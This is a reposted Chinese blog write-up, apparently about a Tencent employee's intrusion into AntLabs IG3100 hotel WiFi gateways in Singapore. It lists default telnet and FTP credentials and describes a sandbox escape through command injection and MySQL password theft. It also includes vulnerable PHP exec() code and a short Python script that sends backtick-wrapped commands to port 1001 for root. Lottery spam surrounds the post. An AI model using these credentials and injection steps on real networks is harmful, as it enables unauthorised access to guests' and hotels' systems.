<dl id="gvpps"><menu id="gvpps"></menu></dl>

<div id="gvpps"><ol id="gvpps"></ol></div>

        腾讯员工破解新加坡酒店WIFI漏洞

        Exploit Singapore Hotels: ezxcess.antlabs.com

        這幾天在新加坡參加 HITB,比起各類料理,更讓我感興趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都?#22681;y一套認證系統,是 AntLabs 的 IG3100 的設備。連接到 WiFi 後會彈出一個地址為 ezxcess.antlabs.com 的認證頁面:

        Exploit Singapore Hotels: ezxcess.antlabs.com 這個地址一般來説都是解析到 traceroute 第二跳的 IP 段的最後一位地址為 2 的主機上,比如 traceroute 的結果為 10.10.1.1,那麼會解析到 10.10.1.2。 秉持着我到一個酒店日一個的精神,我對於這套系統進行了一個深入的測試,最後通過串聯了 4 個漏洞拿到系統的 root 權限。

        1. Backdoor Accounts

        通過 Google,我找到了這個系統測兩個默認口令。一個是 telnet 的帳號,帳號密碼為 console / admin,另外一個是 ftp 的帳號,帳號密碼為 ftponly / antlabs。很幸運,遇到的大部分酒店這兩個帳號都沒有禁用。

        登錄進去後,發現帳號在一個受限的 shell 下,看了看 shell 自帶的命令,和 Linux 自帶的一些命令差不多,甚?#37327;?#20197;用一些命令查看到沙盒之外的信息,比如 ps -ef: Exploit Singapore Hotels: ezxcess.antlabs.com

        利用 netstat -l 發現這個系統存在一個 MySQL,但是僅監聽在 127.0.0.1。同時還發現了 6000 端口是一個 SSH 服務端口。

        Exploit Singapore Hotels: ezxcess.antlabs.com

        利用 SSH,我可以創建一個端口轉發,將僅監聽在 127.0.0.1 的 3306 端口轉發到我的 MacBook 上,然後進行連接操作。

        Exploit Singapore Hotels: ezxcess.antlabs.com

        看了看,爆了個 ERROR 2027 (HY000): Malformed packet 的錯誤,nc 上去看了一下,發現這個服務器的 MySQL 是 MySQL 4.1.2,我真的沒見過這麼古老的 MySQL 了。雖然我命令行連接不了,但是我還有 Navicat。用 Navicat 連接果然可以,但是問題來了,我不知道 MySQL 的密碼是什麼。

        2. Sandbox Escape

        剛才説到,telnet / ssh 連接進去後是在一個受限的 shell 裏,那麼作為黑客的一個特點就是看到沙盒就手癢。怎麼逃逸沙盒,這個需要看 shell 提供了什麼功能了。運行 help 看看:

        Exploit Singapore Hotels: ezxcess.antlabs.com

        經過一番思考,我發現,這個 shell 除了一些 Linux 的系統命令外,還有一些看起來不是 Linux 自帶的命令,比如 sshtun、usage_log、vlandump 等等。這些命令我猜測是一些腳本或者二進制文檔寫的,來方便管理員進行一些操作。那麼既然是開發人員編寫的,那麼就有可能?#26032;?#27934;,特別是命令注入漏洞。嘗試了幾次之後,我成功利用了 vlandump 逃逸了沙盒:

        Exploit Singapore Hotels: ezxcess.antlabs.com

        沙盒是逃逸了,但是我還?#22681;^望的發現,我被 chroot 了。chroot 我是繞不過去了,只能翻翻配置文檔來尋找樂?#21360;?#28982;後我驚喜地在 /etc 目錄發現了 MySQL 的密碼:

        Exploit Singapore Hotels: ezxcess.antlabs.com

        那麼有了密碼,又能訪問端口,我們就可以連接 MySQL 登錄數據庫了。

        3. File Read

        在數據庫找到了管理員的帳號密碼,成功登錄。接下來就是拿 shell 的時候了,那麼需要對這個系統做個代碼審計。

        Exploit Singapore Hotels: ezxcess.antlabs.com

        MySQL root 用户的好處就是可以讀文檔,但是我發現我讀 /etc/httpd/conf.d/httpd.conf 居然顯示沒有權限,又猜不到 Web 的目錄,場面一度十分尷尬。

        峯迴路轉,我在 shell 內 ps -ef 的時候發現了一個奇怪的東西:

        Exploit Singapore Hotels: ezxcess.antlabs.com

        tcpserver 命令在 1001 啟動了個端口,轉交給 PHP 來處理。這個東西看起來好搞,利用 load_file 讀取後,發現是用 IonCube 加密過的,網上隨便找了個平台解了個密,得到代碼:

        Exploit Singapore Hotels: ezxcess.antlabs.com

        4. Limited RCE

        讀了讀代碼,發現進程存在一個 RCE。

        function logSyslog($msg)

        {

        global $ip;

        global $buffer;

        $msg = trim($msg);

        if ($msg != '') {

        exec('/usr/bin/logger -p lpr.info -t Acc_Printer -- "Printer ' . $ip . ' ' . $buffer . ' ' . $msg . '"', $out, $ret);

        if ($ret == 0) {

        return TRUE;

        }

        }

        return FALSE;

        }

        這裏的 msg 帶入到 exec 中,並且直接雙引號包裹。那麼可以直接用反引號來執行命令。通讀了一遍代碼後,我發現除了 MySQL 查詢語句居然沒有其他可控的點。代碼如下:

        function generateAccount($buffer)

        {

        global $ip;

        global $print_previous;

        global $timeformat;

        global $dateformat;

        global $transactionNumberDigit;

        global $printer_path;

        global $db;

        $copy_label = '';

        if ($buffer != $print_previous) {

        $query = 'SELECT * FROM ant_services.Acc_Printer_Button JOIN ant_services.Acc_Printer ON Acc_Printer_Button.printer_id=Acc_Printer.printer_id WHERE button_code=\'' . mysql_real_escape_string($buffer) . '\' AND printer_ip=\'' . mysql_real_escape_string($ip) . '\'';

        $rsbutton = $db->query($query);

        if (!($button = $rsbutton->fetch())) {

        logSyslog('failed to read button configuration from database. QUERY = ' . $query);

        return FALSE;

        }

        往上追溯一下調用這個函數的地方,我發現了更絕望的事情:

        if (trim($buffer) == '(') {

        $buffer .= fread(STDIN, 14);

        if (!strstr($print_previous, $buffer)) {

        generateAccount($buffer);

        }

        我們只有 14 個?#27490;?#30340;可控點,去掉首尾的反引號後還有 12 位。這太他媽 CTF 了吧。

        另外還有一個限制:

        while (true) {

        unset($printer_details);

        clearstatcache();

        if (!($res = $db->query('SELECT * FROM ant_services.Acc_Printer WHERE printer_ip=\'' . mysql_real_escape_string($ip) . '\' AND status=\'enable\''))) {

        logSyslog('failed to query database to get printer details');

        exit(1);

        }

        if ($res->rowCount() == '0') {

        logSyslog('is not found in registered printer list database ');

        exit(1);

        }

        我想執行命令的話,需要是在 ant_services.Acc_Printer 能查到我的 IP 的,不過對於擁有數據庫權限的我們來説,不是什麼大問題。

        寫了個腳本方便執行:

        import zio, sys

        io = zio.zio(('192.168.10.2', 1001))

        io.write('(%s)' % sys.argv[1])

        不知道大家還記得之前提過有一個 FTP 的事情嗎?我發現執行命令的結果會寫在 FTP 下面的 log/acc/acc.log,這也算是意外之喜了。

        Exploit Singapore Hotels: ezxcess.antlabs.com

        5. Unlimited RCE

        12 個?#27490;?#24590;麼想怎麼難受,但是想了想,我們有 MySQL,能寫文檔。如果把要執行的命令寫到 /tmp 目錄下,接着利用 bash /tmp/a 執行,只需要 11 個?#27490;潱?#37027;麼就非常順利的將受限的命令執行轉化為?#25105;?#21629;令執行了。

        Exploit Singapore Hotels: ezxcess.antlabs.com

        6. DirtyCows

        来源:

        https://hk.saowen.com/a/6e3d908180fb701992fb60035e2a9fcdf8b1b52268516ae75882add040bd39d1

        腾讯员工好奇检查酒店WiFi漏洞 被新加坡安全局逮捕

        https://tech.sina.com.cn/i/2018-09-25/doc-ifxeuwwr7938577.shtml

        未经允许不得转载:好玩吧 » 腾讯员工破解新加坡酒店WIFI漏洞

        评论 0

        • 昵称 (必填)
        • 邮箱 (必填)
        • 网址
        新疆11选5开奖结果查
        <dl id="gvpps"><menu id="gvpps"></menu></dl>

        <div id="gvpps"><ol id="gvpps"></ol></div>

              <dl id="gvpps"><menu id="gvpps"></menu></dl>

              <div id="gvpps"><ol id="gvpps"></ol></div>

                    中国体育彩票开奖号码 三分赛结果 111彩票软件app 新疆时时查询结果 体育彩票浙江11选5开奖结果 北京赛車开奖 篮球彩票加时赛大小分 闽乐游棋牌游戏币 福建时时推测 vr赛车开奖网站